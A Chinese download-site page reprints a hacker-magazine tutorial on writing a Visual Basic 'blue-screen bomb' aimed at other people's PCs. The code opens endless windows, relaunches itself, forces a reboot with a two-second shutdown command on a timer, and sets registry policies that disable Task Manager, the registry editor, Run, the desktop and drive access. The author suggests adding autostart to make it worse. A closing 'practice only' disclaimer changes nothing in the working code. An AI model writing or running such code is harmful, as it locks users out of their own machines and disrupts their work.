下载首页 | 资讯中心 | 文章分类 | 最近更新 | 排 行 榜 | 国产软件 | 国外软件 | 绿色软件 | 汉化补丁 | 游戏中心 |
文章搜索: 分类 关键字
您的位置:首页信息安全黑客技术 → 案例教程:黑客教你编写强力蓝屏炸弹
案例教程:黑客教你编写强力蓝屏炸弹
来源:anqn.com 作者: 加入时间:2006-10-27 访问次数:72 [  ]

·案例教程:黑客教你编写强力蓝屏炸弹(1)
  新的一年里,我和朋友们都在忙着赶项目,就在我一个不小心写出了一个死循环时,想起了一种很古老的炸弹——蓝屏死机炸弹,于是我就有了写炸弹这个想法,因为我用的是C#.net,把源代码拿过来,大家想调试还要安装.net框架,于是我就想到了用VB来写,那么下面就让我们来进入正题吧。

  一、炸弹要实现的功能

  既然是炸弹,那当然要写的厉害些,首先就要像很久以前那个网页炸弹一样,弹出无数个窗口,这个功能是给别人打马虎眼的,让他一心想着去阻止炸弹继续的弹出窗口;第二个功能是专门针对windows XP而做的,当然也是在2004年第12期黑防杂志上看到的---自动重启计算机。

  那么下一项就是让每一个人都感到郁闷的事---修改注册表。我今天教大家写的炸弹实现的功能大部分还是靠注册表,主要的功能还是要禁止中招的人打开任务管理器,禁止使用注册表,隐藏桌面所有图标,禁止使用开始菜单里面的运行,搜索,关机,屏蔽Ctrl+Alt+Del里的内容,禁止使用IE浏览器里的所有属性,屏蔽C盘,D盘等盘,这样的结果看上去一定很可怕,如果我们屏蔽右键或者加那么一点点的代码设成开机自动运行,那后果会是什么样的就可想而知了吧?

  二、代码实现

  下面让我们打开VB编译器,在窗体上面加3个timer控件,然后Interval属性设得尽量小点,该属性1000为1秒,我的设成了6,这样在一秒就会谈出上百个窗口了。
实现代码如下:

  Private Sub Timer1_Timer()
  Dim a As New Form1    ‘声明以后出现a就是代表Form1
  a.Show                ‘Form1弹出
  End Sub
  Private Sub Timer2_Timer()
  Shell App.EXEName    ‘运行这个软件的本身
  End Sub


  然后隐藏窗体本身,书县代码如下:

  Private Sub Form_Load()
  Me.Hide
  End Sub

·案例教程:黑客教你编写强力蓝屏炸弹(2)
  那么在XP里自动关机是怎么回事呢?这个就是一个命令就能搞定的(shutdown /r /t 2),就是说,重新启动计算机的倒计时是2秒,这样中招的人就没有办法停止我们的shutdown了,其实到这里就可以算是一个有趣的恶作剧了。实现代码如下:

Private Sub Timer3_Timer()
Shell ("cmd.exe /c shutdown /r /t 2") ‘调用cmd 然后在cmd里输入shutdown /r /t 2就是说设倒计时时间限制为2秒
End Sub
下面说说修改注册表吧,既然要修改注册表,那我们怎么能不调用API呢?当然,曾经在电脑报里也有说不用API就能读写注册表的,但是我想还是让大家用API吧,毕竟API接触多了是件好事。那么就让我来教大家条用API来简便的修改注册表吧,我们先来建一个模块,在里面加入代码:

  Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long)
   As Long ‘这是调用API函数来关闭注册表
  Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA"
   (ByVal hKey As Long, ByVal lpSubKey As String, ByVal Reserved As Long,
   ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long,
  ByVal lpSecurityAttributes As Long, phkResult As Long, lpdwDisposition As Long)
   As Long  ‘这是调用AP函数在注册表里创建一个键
  Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA"
  (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long,
  ByVal samDesired As Long, phkResult As Long) As Long   
  ‘这是调用api函数打开注册表
  Declare Function RegQueryValueExString
  Lib "advapi32.dll" Alias "RegQueryValueExA"
  (ByVal hKey As Long, ByVal lpValueName As String,
  ByVal lpReserved As Long, lpType As Long, ByVal
  lpData As String, lpcbData As Long) As Long  
  Declare Function RegQueryValueExLong
  Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long,
  ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long,
  lpData As Long, lpcbData As Long) As Long
  Declare Function RegQueryValueExNULL
  Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long,
   ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long,
  ByVal lpData As Long, lpcbData As Long) As Long
  Declare Function RegSetValueExString Lib "advapi32.dll" Alias
  "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String,
   ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String,
  ByVal cbData As Long) As Long  ‘调用API来设置注册表里的键名
  Declare Function RegSetValueExLong Lib "advapi32.dll" Alias "RegSetValueExA"
  (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long,
   ByVal dwType As Long, lpValue As Long, ByVal cbData As Long) As Long
  Private Declare Function RegDeleteKey& Lib "advapi32.dll" Alias
  "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String)  
  ‘调用API删除注册表里的的键
  Private Declare Function RegDeleteValue&
   Lib "advapi32.dll" Alias "RegDeleteValueA"
  (ByVal hKey As Long, ByVal lpValueName As String)
  ‘调用API删除注册表里的的键值
·案例教程:黑客教你编写强力蓝屏炸弹(3)
  到这里,所有的模块里的代码就写完了,如果想得到更详细的代码请查看光盘中相关栏目里的代码吧!

  然后介绍一下我们怎么去给注册表加键和键值吧,具体代码如下:

CreateNewKeyHKEY_CURRENT_USER,"Software/Microsoft/
Windows/CurrentVersion/Policies/ExplorerSetKeyValueHKEY_CURRENT_USER,
"Software/Microsoft/Windows/CurrentVersion/
Policies/Explorer", " NoRun ", "1", REG_DWORD以上是在HKEY_CURRENT_USER,"Software/Microsoft/Windows/
CurrentVersion/Policies/Explorer里面加上一个键并设置键值为1的REG_DWORD格式,
这个是用来屏蔽开始菜单里的运行的, CreateNewKeyHKEY_CURRENT_USER,"Software/Microsoft/Windows
/CurrentVersion/Policies/Explorer"SetKeyValueHKEY_CURRENT_USER,
"Software/Microsoft/Windows/CurrentVersion/Policies/Explorer",
"NoFind", "1", REG_DWORD这段代码是用来屏蔽查找的,
就是说在你的计算机的开始菜单里会找不到这一项,CreateNewKeyHKEY_CURRENT_USER,"Software/Microsoft
/Windows/CurrentVersion/Policies/Explorer"
SetKeyValueHKEY_CURRENT_USER,"Software/Microsoft/Windows
/CurrentVersion/Policies/Explorer", "NoLogOff", "1",
REG_DWORD这段是用来屏蔽注销的
CreateNewKeyHKEY_CURRENT_USER,"Software/Microsoft
/Windows/CurrentVersion/Policies/Explorer"
SetKeyValueHKEY_CURRENT_USER,
"Software/Microsoft/Windows/CurrentVersion/Policies/Explorer",
"NoClose", "1", REG_DWORD这段是用来屏蔽关闭计算机的CreateNewKeyHKEY_CURRENT_USER,"Software/Microsoft/
Windows/CurrentVersion/Policies/System"SetKeyValueHKEY_CURRENT_USER,
"Software/Microsoft/Windows/CurrentVersion/Policies/System",
"DisableTaskMgr", "1", REG_DWORD这段是用来屏蔽任务管理器的CreateNewKeyHKEY_CURRENT_USER,"Software/Microsoft/Windows
/CurrentVersion/Policies/System"SetKeyValueHKEY_CURRENT_USER,
"Software/Microsoft/Windows/CurrentVersion/Policies/System",
"DisableRegistryTools",
"1", REG_DWORD这段是用来禁止使用注册表的CreateNewKeyHKEY_CURRENT_USER,"Software/Microsoft/
Windows/CurrentVersion/Policies/Explorer"
SetKeyValueHKEY_CURRENT_USER,"Software/Microsoft/
Windows/CurrentVersion/Policies/Explorer",
" NoDesktop ", "1", REG_DWORD这段是用来隐藏桌面的CreateNewKeyHKEY_CURRENT_USER,"Software/Microsoft/
Windows/CurrentVersion/Policies/Explorer"
SetKeyValueHKEY_CURRENT_USER,"Software/Microsoft/Windows/
CurrentVersion/Policies/Explorer", "NoDrives", "1",
REG_DWORD这段是用来屏蔽A盘的,键值1代表A盘,2代表B盘,
4代表C盘,8代表D盘,就是说二倍二倍的下去代表下一个盘。

  如果想作出厉害一点的炸弹,最好多多的了解如何使用API函数和注册表,如果想得到更详细的源代码就在杂志相关栏目里面能够找到,这样,一个小巧而又厉害的炸弹就诞生了,希望大家仅仅是用这个东西来练习,而不是去作坏事。我写完了炸弹后,又写了一个针对这个炸弹的还原的工具收集在光盘里面了。
上一页 [1] 下一页
评论人 评论内容摘要(共 0 条,查看完整内容) 得分 0 发表时间
 热点文章
·AC97声卡驱动下载 AC97万能声卡驱动
·USB万能驱动下载 USB2.0万能驱动下载
·多图+视频!体验比Vista还炫的窗口透明和3D桌面
·《阿猫阿狗大作战online》公测正式开始
·二战即时战略游戏《战争的真相》下载
·图解Windows Vista操作系统安装全过程
·《花木兰》完美流程攻略
·专业级品质 体验Word2007强大图表功能
·AVI视频压缩至尊 WisMencoder试用感受
·声卡驱动 AC97声卡驱动/创新声卡驱动
 推荐文章
·百度MTV视频将可免费下载
·《征途》发测试费 半天送出一千万元!
·利用QQ网吧免费开蓝钻
·没有Fdisk 照样给电脑硬盘分区
·新手入门:Fireworks雪花飘飘迎新春
·韩国射击网游《LAND MASS》首次公开
·上网聊天也需注意安全!聊天软件安全攻略
·黑客攻破SQL服务器系统的十种方法
·Excel旧表翻新技巧!
·三招方法帮你轻松解决Excel数据重复输入
WinXP下载基地 版权所有 Copyright© 2006-2008 WWW.WinXpd.COM, All Rights Reserved. 页面维护: WinXP下载基地(WinXP基D)